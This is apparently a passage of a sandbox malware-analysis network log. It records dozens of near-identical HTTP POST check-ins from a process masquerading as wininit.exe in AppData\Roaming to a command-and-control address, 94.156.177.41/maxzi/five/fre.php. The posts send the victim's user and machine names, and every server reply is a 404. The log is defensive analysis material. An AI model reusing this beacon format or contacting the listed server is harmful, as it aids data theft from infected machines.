Nov 20, 2024 11:08:39.811527014 CET	244	OUT	POST /maxzi/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.41 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 9D963662 Content-Length: 149 Connection: close
Nov 20, 2024 11:08:39.816478014 CET	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 34 00 36 00 38 00 33 00 32 00 35 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus468325ALBUS-PC0DE4229FCF97F5879F50F8FD3
Nov 20, 2024 11:08:40.550285101 CET	193	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Wed, 20 Nov 2024 10:08:40 GMT Content-Type: text/html; charset=utf-8 Connection: close X-Powered-By: PHP/5.4.16 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.22	49190	94.156.177.41	80	3932	C:\Users\user\AppData\Roaming\wininit.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 11:08:40.686136007 CET	244	OUT	POST /maxzi/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.41 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 9D963662 Content-Length: 149 Connection: close
Nov 20, 2024 11:08:40.691051960 CET	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 34 00 36 00 38 00 33 00 32 00 35 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus468325ALBUS-PC0DE4229FCF97F5879F50F8FD3
Nov 20, 2024 11:08:41.450572014 CET	193	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Wed, 20 Nov 2024 10:08:41 GMT Content-Type: text/html; charset=utf-8 Connection: close X-Powered-By: PHP/5.4.16 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.22	49191	94.156.177.41	80	3932	C:\Users\user\AppData\Roaming\wininit.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 11:08:41.592729092 CET	244	OUT	POST /maxzi/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.41 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 9D963662 Content-Length: 149 Connection: close
Nov 20, 2024 11:08:41.600004911 CET	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 34 00 36 00 38 00 33 00 32 00 35 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus468325ALBUS-PC0DE4229FCF97F5879F50F8FD3
Nov 20, 2024 11:08:42.331038952 CET	193	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Wed, 20 Nov 2024 10:08:42 GMT Content-Type: text/html; charset=utf-8 Connection: close X-Powered-By: PHP/5.4.16 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.22	49192	94.156.177.41	80	3932	C:\Users\user\AppData\Roaming\wininit.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 11:08:42.465225935 CET	244	OUT	POST /maxzi/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.41 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 9D963662 Content-Length: 149 Connection: close
Nov 20, 2024 11:08:42.470300913 CET	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 34 00 36 00 38 00 33 00 32 00 35 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus468325ALBUS-PC0DE4229FCF97F5879F50F8FD3
Nov 20, 2024 11:08:43.375627995 CET	193	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Wed, 20 Nov 2024 10:08:43 GMT Content-Type: text/html; charset=utf-8 Connection: close X-Powered-By: PHP/5.4.16 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.22	49193	94.156.177.41	80	3932	C:\Users\user\AppData\Roaming\wininit.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 11:08:43.518209934 CET	244	OUT	POST /maxzi/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.41 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 9D963662 Content-Length: 149 Connection: close
Nov 20, 2024 11:08:43.523103952 CET	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 34 00 36 00 38 00 33 00 32 00 35 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus468325ALBUS-PC0DE4229FCF97F5879F50F8FD3
Nov 20, 2024 11:08:44.416810036 CET	193	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Wed, 20 Nov 2024 10:08:44 GMT Content-Type: text/html; charset=utf-8 Connection: close X-Powered-By: PHP/5.4.16 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.22	49194	94.156.177.41	80	3932	C:\Users\user\AppData\Roaming\wininit.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 11:08:44.555685997 CET	244	OUT	POST /maxzi/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.41 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 9D963662 Content-Length: 149 Connection: close
Nov 20, 2024 11:08:44.560564995 CET	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 34 00 36 00 38 00 33 00 32 00 35 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus468325ALBUS-PC0DE4229FCF97F5879F50F8FD3
Nov 20, 2024 11:08:45.294429064 CET	193	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Wed, 20 Nov 2024 10:08:45 GMT Content-Type: text/html; charset=utf-8 Connection: close X-Powered-By: PHP/5.4.16 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.22	49195	94.156.177.41	80	3932	C:\Users\user\AppData\Roaming\wininit.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 11:08:45.435811996 CET	244	OUT	POST /maxzi/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.41 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 9D963662 Content-Length: 149 Connection: close
Nov 20, 2024 11:08:45.440850973 CET	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 34 00 36 00 38 00 33 00 32 00 35 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus468325ALBUS-PC0DE4229FCF97F5879F50F8FD3
Nov 20, 2024 11:08:46.174468994 CET	193	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Wed, 20 Nov 2024 10:08:46 GMT Content-Type: text/html; charset=utf-8 Connection: close X-Powered-By: PHP/5.4.16 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.22	49196	94.156.177.41	80	3932	C:\Users\user\AppData\Roaming\wininit.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 11:08:46.321557045 CET	244	OUT	POST /maxzi/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.41 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 9D963662 Content-Length: 149 Connection: close
Nov 20, 2024 11:08:46.326513052 CET	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 34 00 36 00 38 00 33 00 32 00 35 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus468325ALBUS-PC0DE4229FCF97F5879F50F8FD3
Nov 20, 2024 11:08:47.202565908 CET	193	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Wed, 20 Nov 2024 10:08:47 GMT Content-Type: text/html; charset=utf-8 Connection: close X-Powered-By: PHP/5.4.16 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.22	49197	94.156.177.41	80	3932	C:\Users\user\AppData\Roaming\wininit.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 11:08:47.357819080 CET	244	OUT	POST /maxzi/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.41 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 9D963662 Content-Length: 149 Connection: close
Nov 20, 2024 11:08:47.362900972 CET	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 34 00 36 00 38 00 33 00 32 00 35 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus468325ALBUS-PC0DE4229FCF97F5879F50F8FD3
Nov 20, 2024 11:08:48.276581049 CET	193	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Wed, 20 Nov 2024 10:08:47 GMT Content-Type: text/html; charset=utf-8 Connection: close X-Powered-By: PHP/5.4.16 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.22	49198	94.156.177.41	80	3932	C:\Users\user\AppData\Roaming\wininit.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 11:08:48.424141884 CET	244	OUT	POST /maxzi/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.41 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 9D963662 Content-Length: 149 Connection: close
Nov 20, 2024 11:08:48.429054976 CET	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 34 00 36 00 38 00 33 00 32 00 35 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus468325ALBUS-PC0DE4229FCF97F5879F50F8FD3
Nov 20, 2024 11:08:49.168529034 CET	193	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Wed, 20 Nov 2024 10:08:49 GMT Content-Type: text/html; charset=utf-8 Connection: close X-Powered-By: PHP/5.4.16 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.22	49199	94.156.177.41	80	3932	C:\Users\user\AppData\Roaming\wininit.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 11:08:49.321348906 CET	244	OUT	POST /maxzi/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.41 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 9D963662 Content-Length: 149 Connection: close
Nov 20, 2024 11:08:49.331074953 CET	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 34 00 36 00 38 00 33 00 32 00 35 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus468325ALBUS-PC0DE4229FCF97F5879F50F8FD3
Nov 20, 2024 11:08:50.089051008 CET	193	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Wed, 20 Nov 2024 10:08:49 GMT Content-Type: text/html; charset=utf-8 Connection: close X-Powered-By: PHP/5.4.16 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.22	49200	94.156.177.41	80	3932	C:\Users\user\AppData\Roaming\wininit.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 11:08:50.259922028 CET	244	OUT	POST /maxzi/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.41 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 9D963662 Content-Length: 149 Connection: close
Nov 20, 2024 11:08:50.269289017 CET	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 34 00 36 00 38 00 33 00 32 00 35 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus468325ALBUS-PC0DE4229FCF97F5879F50F8FD3
Nov 20, 2024 11:08:51.147424936 CET	193	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Wed, 20 Nov 2024 10:08:51 GMT Content-Type: text/html; charset=utf-8 Connection: close X-Powered-By: PHP/5.4.16 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.22	49201	94.156.177.41	80	3932	C:\Users\user\AppData\Roaming\wininit.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 11:08:51.460578918 CET	244	OUT	POST /maxzi/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.41 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 9D963662 Content-Length: 149 Connection: close
Nov 20, 2024 11:08:51.465534925 CET	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 34 00 36 00 38 00 33 00 32 00 35 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus468325ALBUS-PC0DE4229FCF97F5879F50F8FD3
Nov 20, 2024 11:08:52.239329100 CET	193	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Wed, 20 Nov 2024 10:08:52 GMT Content-Type: text/html; charset=utf-8 Connection: close X-Powered-By: PHP/5.4.16 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.22	49202	94.156.177.41	80	3932	C:\Users\user\AppData\Roaming\wininit.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 11:08:52.401020050 CET	244	OUT	POST /maxzi/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.41 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 9D963662 Content-Length: 149 Connection: close
Nov 20, 2024 11:08:52.406147957 CET	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 34 00 36 00 38 00 33 00 32 00 35 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus468325ALBUS-PC0DE4229FCF97F5879F50F8FD3
Nov 20, 2024 11:08:53.294938087 CET	193	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Wed, 20 Nov 2024 10:08:53 GMT Content-Type: text/html; charset=utf-8 Connection: close X-Powered-By: PHP/5.4.16 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.22	49203	94.156.177.41	80	3932	C:\Users\user\AppData\Roaming\wininit.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 11:08:53.443180084 CET	244	OUT	POST /maxzi/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.41 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 9D963662 Content-Length: 149 Connection: close
Nov 20, 2024 11:08:53.449321985 CET	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 34 00 36 00 38 00 33 00 32 00 35 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus468325ALBUS-PC0DE4229FCF97F5879F50F8FD3
Nov 20, 2024 11:08:54.189106941 CET	193	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Wed, 20 Nov 2024 10:08:54 GMT Content-Type: text/html; charset=utf-8 Connection: close X-Powered-By: PHP/5.4.16 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.22	49204	94.156.177.41	80	3932	C:\Users\user\AppData\Roaming\wininit.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 11:08:54.339132071 CET	244	OUT	POST /maxzi/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.41 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 9D963662 Content-Length: 149 Connection: close
Nov 20, 2024 11:08:54.344079018 CET	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 34 00 36 00 38 00 33 00 32 00 35 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus468325ALBUS-PC0DE4229FCF97F5879F50F8FD3
Nov 20, 2024 11:08:55.078644037 CET	193	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Wed, 20 Nov 2024 10:08:54 GMT Content-Type: text/html; charset=utf-8 Connection: close X-Powered-By: PHP/5.4.16 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.22	49205	94.156.177.41	80	3932	C:\Users\user\AppData\Roaming\wininit.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 11:08:55.460966110 CET	244	OUT	POST /maxzi/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.41 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 9D963662 Content-Length: 149 Connection: close
Nov 20, 2024 11:08:55.469398022 CET	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 34 00 36 00 38 00 33 00 32 00 35 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus468325ALBUS-PC0DE4229FCF97F5879F50F8FD3
Nov 20, 2024 11:08:56.212124109 CET	193	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Wed, 20 Nov 2024 10:08:56 GMT Content-Type: text/html; charset=utf-8 Connection: close X-Powered-By: PHP/5.4.16 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.22	49206	94.156.177.41	80	3932	C:\Users\user\AppData\Roaming\wininit.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 11:08:56.357142925 CET	244	OUT	POST /maxzi/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.41 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 9D963662 Content-Length: 149 Connection: close
Nov 20, 2024 11:08:56.364429951 CET	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 34 00 36 00 38 00 33 00 32 00 35 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus468325ALBUS-PC0DE4229FCF97F5879F50F8FD3
Nov 20, 2024 11:08:57.089220047 CET	193	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Wed, 20 Nov 2024 10:08:56 GMT Content-Type: text/html; charset=utf-8 Connection: close X-Powered-By: PHP/5.4.16 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.22	49207	94.156.177.41	80	3932	C:\Users\user\AppData\Roaming\wininit.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 11:08:57.224618912 CET	244	OUT	POST /maxzi/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.41 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 9D963662 Content-Length: 149 Connection: close
Nov 20, 2024 11:08:57.229777098 CET	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 34 00 36 00 38 00 33 00 32 00 35 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus468325ALBUS-PC0DE4229FCF97F5879F50F8FD3
Nov 20, 2024 11:08:57.994657040 CET	193	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Wed, 20 Nov 2024 10:08:57 GMT Content-Type: text/html; charset=utf-8 Connection: close X-Powered-By: PHP/5.4.16 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.2.22	49208	94.156.177.41	80	3932	C:\Users\user\AppData\Roaming\wininit.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 11:08:58.131937981 CET	244	OUT	POST /maxzi/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.41 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 9D963662 Content-Length: 149 Connection: close
Nov 20, 2024 11:08:58.136925936 CET	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 34 00 36 00 38 00 33 00 32 00 35 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus468325ALBUS-PC0DE4229FCF97F5879F50F8FD3
Nov 20, 2024 11:08:59.024342060 CET	193	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Wed, 20 Nov 2024 10:08:58 GMT Content-Type: text/html; charset=utf-8 Connection: close X-Powered-By: PHP/5.4.16 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.22	49209	94.156.177.41	80	3932	C:\Users\user\AppData\Roaming\wininit.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 11:08:59.165419102 CET	244	OUT	POST /maxzi/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.41 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 9D963662 Content-Length: 149 Connection: close
Nov 20, 2024 11:08:59.170582056 CET	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 34 00 36 00 38 00 33 00 32 00 35 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus468325ALBUS-PC0DE4229FCF97F5879F50F8FD3
Nov 20, 2024 11:09:00.048685074 CET	193	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Wed, 20 Nov 2024 10:08:59 GMT Content-Type: text/html; charset=utf-8 Connection: close X-Powered-By: PHP/5.4.16 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.2.22	49210	94.156.177.41	80	3932	C:\Users\user\AppData\Roaming\wininit.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 11:09:00.191670895 CET	244	OUT	POST /maxzi/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.41 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 9D963662 Content-Length: 149 Connection: close
